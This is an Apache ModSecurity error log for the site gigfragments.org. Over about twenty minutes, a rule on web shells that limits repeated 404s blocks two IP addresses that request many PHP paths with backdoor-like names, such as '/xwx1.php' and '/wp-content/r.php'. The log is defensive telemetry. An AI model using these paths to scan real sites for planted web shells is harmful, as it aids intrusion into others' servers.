[Fri May 08 23:39:58.979259 2026] [:error] [pid 61355:tid 61373] [client 13.74.146.113:14813] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ups.php"] [unique_id "af4DzvkhJTi30CBXmMnxTQAAAYw"]
[Fri May 08 23:39:59.478360 2026] [:error] [pid 51007:tid 51046] [client 13.74.146.113:15352] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ups.php"] [unique_id "af4Dz1MagSGstWKyzzUIWQAAABg"]
[Fri May 08 23:40:00.026390 2026] [:error] [pid 61317:tid 61320] [client 13.74.146.113:15345] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ups.php"] [unique_id "af4D0M-fFk_CedOCOYvs7wAAAUA"]
[Fri May 08 23:40:00.562248 2026] [:error] [pid 61355:tid 61382] [client 13.74.146.113:6254] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ups.php"] [unique_id "af4D0PkhJTi30CBXmMnxUwAAAZU"]
[Fri May 08 23:40:01.097710 2026] [:error] [pid 61355:tid 61384] [client 13.74.146.113:9760] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-demomav.php"] [unique_id "af4D0fkhJTi30CBXmMnxVAAAAZc"]
[Fri May 08 23:40:01.647911 2026] [:error] [pid 51008:tid 51054] [client 13.74.146.113:8322] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-demomav.php"] [unique_id "af4D0XB58C2Y1tgLtuLDHAAAAEU"]
[Fri May 08 23:40:02.178876 2026] [:error] [pid 61317:tid 61329] [client 13.74.146.113:9772] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-demomav.php"] [unique_id "af4D0s-fFk_CedOCOYvs8AAAAUk"]
[Fri May 08 23:40:02.676415 2026] [:error] [pid 61355:tid 61363] [client 13.74.146.113:14644] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-demomav.php"] [unique_id "af4D0vkhJTi30CBXmMnxVwAAAYI"]
[Fri May 08 23:40:03.202624 2026] [:error] [pid 61355:tid 61362] [client 13.74.146.113:2444] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/greateb.php"] [unique_id "af4D0_khJTi30CBXmMnxWAAAAYE"]
[Fri May 08 23:40:03.746363 2026] [:error] [pid 61317:tid 61336] [client 13.74.146.113:16546] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/greateb.php"] [unique_id "af4D08-fFk_CedOCOYvs8gAAAVA"]
[Fri May 08 23:40:04.306418 2026] [:error] [pid 61355:tid 61383] [client 13.74.146.113:4958] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/greateb.php"] [unique_id "af4D1PkhJTi30CBXmMnxWgAAAZY"]
[Fri May 08 23:40:04.855337 2026] [:error] [pid 51009:tid 51088] [client 13.74.146.113:14054] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/greateb.php"] [unique_id "af4D1OB0GbUWhxgzX9VtigAAAIw"]
[Fri May 08 23:40:05.405410 2026] [:error] [pid 51113:tid 51119] [client 13.74.146.113:10379] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "af4D1UQfs7sWtqkpQIeNJgAAAMQ"]
[Fri May 08 23:40:05.956884 2026] [:error] [pid 34318:tid 34341] [client 13.74.146.113:14629] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "af4D1cr3guirgJiKhzDzRwAAARU"]
[Fri May 08 23:40:06.476018 2026] [:error] [pid 61355:tid 61374] [client 13.74.146.113:14596] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "af4D1vkhJTi30CBXmMnxXgAAAY0"]
[Fri May 08 23:40:07.008577 2026] [:error] [pid 51009:tid 51099] [client 13.74.146.113:8073] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "af4D1-B0GbUWhxgzX9VtjQAAAJc"]
[Fri May 08 23:40:07.573160 2026] [:error] [pid 61356:tid 61392] [client 13.74.146.113:13051] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/shlo.php"] [unique_id "af4D14x3vpB8oWhUq2P5twAAAcQ"]
[Fri May 08 23:40:27.957847 2026] [:error] [pid 61355:tid 61379] [client 13.74.146.113:1356] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "af4D6_khJTi30CBXmMnxngAAAZI"]
[Fri May 08 23:40:28.519525 2026] [:error] [pid 51008:tid 51073] [client 13.74.146.113:15179] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "af4D7HB58C2Y1tgLtuLDKgAAAFg"]
[Fri May 08 23:40:29.053343 2026] [:error] [pid 51008:tid 51054] [client 13.74.146.113:4951] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "af4D7XB58C2Y1tgLtuLDLQAAAEU"]
[Fri May 08 23:40:29.591592 2026] [:error] [pid 61317:tid 61332] [client 13.74.146.113:9782] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "af4D7c-fFk_CedOCOYvtAAAAAUw"]
[Fri May 08 23:40:30.163840 2026] [:error] [pid 51009:tid 51085] [client 13.74.146.113:16974] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse.php"] [unique_id "af4D7uB0GbUWhxgzX9VtmQAAAIk"]
[Fri May 08 23:40:30.720674 2026] [:error] [pid 34318:tid 34344] [client 13.74.146.113:10411] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse.php"] [unique_id "af4D7sr3guirgJiKhzDzUgAAARg"]
[Fri May 08 23:40:31.287686 2026] [:error] [pid 61356:tid 61408] [client 13.74.146.113:14828] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse.php"] [unique_id "af4D74x3vpB8oWhUq2P50wAAAdQ"]
[Fri May 08 23:40:31.836632 2026] [:error] [pid 51113:tid 51121] [client 13.74.146.113:15187] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse.php"] [unique_id "af4D70Qfs7sWtqkpQIeNKwAAAMY"]
[Fri May 08 23:59:34.528715 2026] [:error] [pid 61355:tid 61379] [client 20.238.36.81:6742] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "af4IZvkhJTi30CBXmMn6sQAAAZI"]
[Fri May 08 23:59:35.043007 2026] [:error] [pid 34318:tid 34336] [client 20.238.36.81:2381] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "af4IZ8r3guirgJiKhzD10QAAARA"]
[Fri May 08 23:59:35.594670 2026] [:error] [pid 61317:tid 61342] [client 20.238.36.81:18232] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "af4IZ8-fFk_CedOCOYvwzgAAAVY"]
[Fri May 08 23:59:36.093168 2026] [:error] [pid 61356:tid 61393] [client 20.238.36.81:16518] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "af4IaIx3vpB8oWhUq2P_6QAAAcU"]
[Fri May 08 23:59:36.606793 2026] [:error] [pid 61355:tid 61375] [client 20.238.36.81:8179] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-tymanage.php"] [unique_id "af4IaPkhJTi30CBXmMn6swAAAY4"]
[Fri May 08 23:59:37.159113 2026] [:error] [pid 61317:tid 61324] [client 20.238.36.81:5575] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-tymanage.php"] [unique_id "af4Iac-fFk_CedOCOYvw0AAAAUQ"]
[Fri May 08 23:59:37.692603 2026] [:error] [pid 61317:tid 61336] [client 20.238.36.81:2411] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-tymanage.php"] [unique_id "af4Iac-fFk_CedOCOYvw0gAAAVA"]
[Fri May 08 23:59:38.241404 2026] [:error] [pid 51113:tid 51116] [client 20.238.36.81:4937] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-tymanage.php"] [unique_id "af4IakQfs7sWtqkpQIePMgAAAME"]
[Fri May 08 23:59:38.789624 2026] [:error] [pid 61356:tid 61411] [client 20.238.36.81:5711] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "af4Iaox3vpB8oWhUq2P_6gAAAdc"]
[Fri May 08 23:59:39.316742 2026] [:error] [pid 61317:tid 61338] [client 20.238.36.81:5657] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "af4Ia8-fFk_CedOCOYvw1gAAAVI"]
[Fri May 08 23:59:39.875853 2026] [:error] [pid 61317:tid 61331] [client 20.238.36.81:5256] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "af4Ia8-fFk_CedOCOYvw1wAAAUs"]
[Fri May 08 23:59:40.441431 2026] [:error] [pid 51007:tid 51037] [client 20.238.36.81:14467] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "af4IbFMagSGstWKyzzULwgAAAA8"]
[Fri May 08 23:59:40.974885 2026] [:error] [pid 51007:tid 51040] [client 20.238.36.81:18036] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/r.php"] [unique_id "af4IbFMagSGstWKyzzULwwAAABI"]
[Fri May 08 23:59:41.536701 2026] [:error] [pid 61317:tid 61329] [client 20.238.36.81:4944] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/r.php"] [unique_id "af4Ibc-fFk_CedOCOYvw3AAAAUk"]
[Fri May 08 23:59:42.065200 2026] [:error] [pid 61356:tid 61400] [client 20.238.36.81:5612] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/r.php"] [unique_id "af4Ibox3vpB8oWhUq2P_9QAAAcw"]
[Fri May 08 23:59:42.617546 2026] [:error] [pid 51009:tid 51097] [client 20.238.36.81:2627] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/r.php"] [unique_id "af4IbuB0GbUWhxgzX9VxhAAAAJU"]
[Fri May 08 23:59:43.135079 2026] [:error] [pid 61356:tid 61399] [client 20.238.36.81:5730] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "af4Ib4x3vpB8oWhUq2P_9gAAAcs"]
[Fri May 08 23:59:43.708913 2026] [:error] [pid 61356:tid 61403] [client 20.238.36.81:10533] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "af4Ib4x3vpB8oWhUq2P_-wAAAc8"]
[Fri May 08 23:59:44.260902 2026] [:error] [pid 61356:tid 61409] [client 20.238.36.81:18023] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "af4IcIx3vpB8oWhUq2P__QAAAdU"]
[Fri May 08 23:59:44.768544 2026] [:error] [pid 61317:tid 61336] [client 20.238.36.81:10523] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "af4IcM-fFk_CedOCOYvw4wAAAVA"]
[Fri May 08 23:59:45.264520 2026] [:error] [pid 61356:tid 61400] [client 20.238.36.81:10527] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tymi.php"] [unique_id "af4IcYx3vpB8oWhUq2MAAwAAAcw"]
[Fri May 08 23:59:45.805076 2026] [:error] [pid 61317:tid 61331] [client 20.238.36.81:5749] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tymi.php"] [unique_id "af4Icc-fFk_CedOCOYvw5wAAAUs"]
[Fri May 08 23:59:46.355815 2026] [:error] [pid 51009:tid 51098] [client 20.238.36.81:17647] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tymi.php"] [unique_id "af4IcuB0GbUWhxgzX9VxigAAAJY"]
[Fri May 08 23:59:46.888810 2026] [:error] [pid 51008:tid 51049] [client 20.238.36.81:5304] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tymi.php"] [unique_id "af4IcnB58C2Y1tgLtuLFgQAAAEA"]
[Fri May 08 23:59:47.424348 2026] [:error] [pid 51008:tid 51053] [client 20.238.36.81:9207] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lolz.php"] [unique_id "af4Ic3B58C2Y1tgLtuLFggAAAEQ"]
[Fri May 08 23:59:47.979143 2026] [:error] [pid 51007:tid 51043] [client 20.238.36.81:1952] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lolz.php"] [unique_id "af4Ic1MagSGstWKyzzULyQAAABU"]
[Fri May 08 23:59:48.502517 2026] [:error] [pid 51113:tid 51138] [client 20.238.36.81:16517] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lolz.php"] [unique_id "af4IdEQfs7sWtqkpQIePOAAAANc"]
[Fri May 08 23:59:49.058549 2026] [:error] [pid 61356:tid 61396] [client 20.238.36.81:5588] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lolz.php"] [unique_id "af4IdYx3vpB8oWhUq2MADAAAAcg"]
[Fri May 08 23:59:49.587442 2026] [:error] [pid 61317:tid 61324] [client 20.238.36.81:17648] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd67.php"] [unique_id "af4Idc-fFk_CedOCOYvw8QAAAUQ"]
[Fri May 08 23:59:50.147605 2026] [:error] [pid 61356:tid 61404] [client 20.238.36.81:18393] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd67.php"] [unique_id "af4Idox3vpB8oWhUq2MAEQAAAdA"]
[Fri May 08 23:59:50.646768 2026] [:error] [pid 61356:tid 61411] [client 20.238.36.81:2419] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd67.php"] [unique_id "af4Idox3vpB8oWhUq2MAFQAAAdc"]
[Fri May 08 23:59:51.142690 2026] [:error] [pid 61356:tid 61412] [client 20.238.36.81:8132] [client 20.238.36.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd67.php"] [unique_id "af4Id4x3vpB8oWhUq2MAGAAAAdg"]
